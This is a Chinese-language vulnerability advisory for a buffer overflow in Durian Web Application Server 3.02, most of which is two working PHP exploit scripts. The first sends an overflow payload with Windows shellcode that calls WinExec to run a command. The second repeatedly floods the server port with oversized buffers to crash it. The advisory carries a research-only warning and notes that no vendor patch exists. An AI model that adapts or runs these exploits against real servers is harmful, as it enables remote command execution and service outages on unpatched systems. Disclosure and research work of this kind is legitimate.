发布日期：2006-12-29
更新日期：2006-12-30

受影响系统：

Durian Web Application Server 3.02

描述：

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BUGTRAQ  ID: 21808

Durian是一款免费的Web应用服务器，用于以APS或DWS语言生成交互的动态Web内容。

Durian在处理恶意畸形请求时存在缓冲区溢出漏洞，远程攻击者可以利用此漏洞导致拒绝服务或执行任意指令。

<*来源：rgod （rgod@autistici.org）
  *>

测试方法：

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警 告

以下程序(方法)可能带有攻击性，仅供安全研究与教学之用。使用者风险自负！

<?php
/*
Durian Web Application Server 3.02 freeware for Win32 buffer
overflow execute command exploit

by rgod
mail: retrog at alice dot it
site: http://retrogod.altervista.org

tested against xp sp2 ita

software site -> http://sourceforge.net/projects/durian/

*/

error_reporting(E_ALL);
$address = "192.168.1.3";
$service_port = "4002";

$shellcode =
"\xeb\x1b".
"\x5b".
"\x31\xc0".
"\x50".
"\x31\xc0".
"\x88\x43\x59".
"\x53".
"\xbb\x6d\x13\x86\x7c". //WinExec, 0x7c86136d
"\xff\xd3".
"\x31\xc0".
"\x50".
"\xbb\xda\xcd\x81\x7c". //ExitProcess, 0x7c81cdda
"\xff\xd3".
"\xe8\xe0\xff\xff\xff".
"\x63\x6d\x64".
"\x2e".
"\x65".
"\x78\x65".
"\x20\x2f".
"\x63\x20".
"cmd.exe /c start notepad & ";

//$eip="\x72\xe0\xf1\x00";//DEP disabled
$eip="\x72\xe0\xf2\x00";

$ch  =array("\xaa","\xa0","\x41");
$size=array(30,70,150,330,520,700,1400,2300);

    for ($j=0; $j<count($ch); $j++){
        for ($i=0; $i<count($size); $i++){
            $junk="";
            if (($j==2) and ($i==7)){
                $junk ="AAAABBBBCCCCDDDDEEEEFFFFGGGGHHHHIIIIJJJJKKKKLLLLMMMMNNNNOOOOPPPPQQQQRRRRSSSSTTTTUUUUVVVVXXXX";
                $junk.="YYYYZZZZaaaabbbbccccddddeeeeffffgggghhhhiiiijjjjkkkkllllmmmmnnnnooooppppqqqqrrrrssssttttuuuu";
        $junk.=$eip; //jmp shellcode
        for ($n=1; $n<=100; $n++){
            $junk.="\x90";
        }
        $junk.=$shellcode;
                for ($n=1; $n=(2300-strlen($junk)); $n++){
            $junk.="\x90";
        }
            }
            else {
        for ($k=1; $k<=$size[$i]; $k++){
                    $junk.=$ch[$j];
                }
        }
            $socket = socket_create(AF_INET, SOCK_STREAM, SOL_TCP);
            if ($socket < 0) {
                die("socket_create() failed:\n reason: " . socket_strerror($socket) . "\n");
            }
            $result = socket_connect($socket, $address, $service_port);
            if ($result < 0) {
                die("socket_connect() failed:\n reason: ($result) " . socket_strerror($result) . "\n");
            }
            $in = $junk;
            socket_write($socket, $in, strlen ($in));
            socket_close($socket);
        }
   }
?>

==============================================================================================

<?php
//Durian Web Application Server 3.02 freeware for Win32 denial of service exploit
//this will merely show 1000 access violation boxes to screen
//software site -> http://sourceforge.net/projects/durian/

//by rgod mail: retrog at alice dot it site: http://retrogod.altervista.org

error_reporting(E_ALL);
$service_port = "4002";
$address = "192.168.1.3";

$ch  =array("\xaa","\xa0","\x41");
$size=array(30,70,150,330,520,700,1400,2300);
$c=1000;

for ($m=1; $m<=$c; $m++){
    for ($j=0; $j<3; $j++){
        for ($i=0; $i<8; $i++){
            $junk="";
            for ($k=1; $k<=$size[$i]; $k++){
                $junk.=$ch[$j];
            }
            echo "buf size:".$size[$i]."|char:".$ch[$j]."\n";
            $socket = socket_create(AF_INET, SOCK_STREAM, SOL_TCP);
            if ($socket < 0) {
                die("socket_create() failed:\n reason: " . socket_strerror($socket) . "\n");
            }
            $result = socket_connect($socket, $address, $service_port);
            if ($result < 0) {
                die("socket_connect() failed:\n reason: ($result) " . socket_strerror($result) . "\n");
            }
            $in = $junk;
            socket_write($socket, $in, strlen ($in));
            socket_close($socket);
        }
   }
sleep(1);
}
?>

建议：

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厂商补丁：

Durian
------
目前厂商还没有提供补丁或者升级程序，我们建议使用此软件的用户随时关注厂商的主页以获取最新版本：

http://sourceforge.net/projects/durian/

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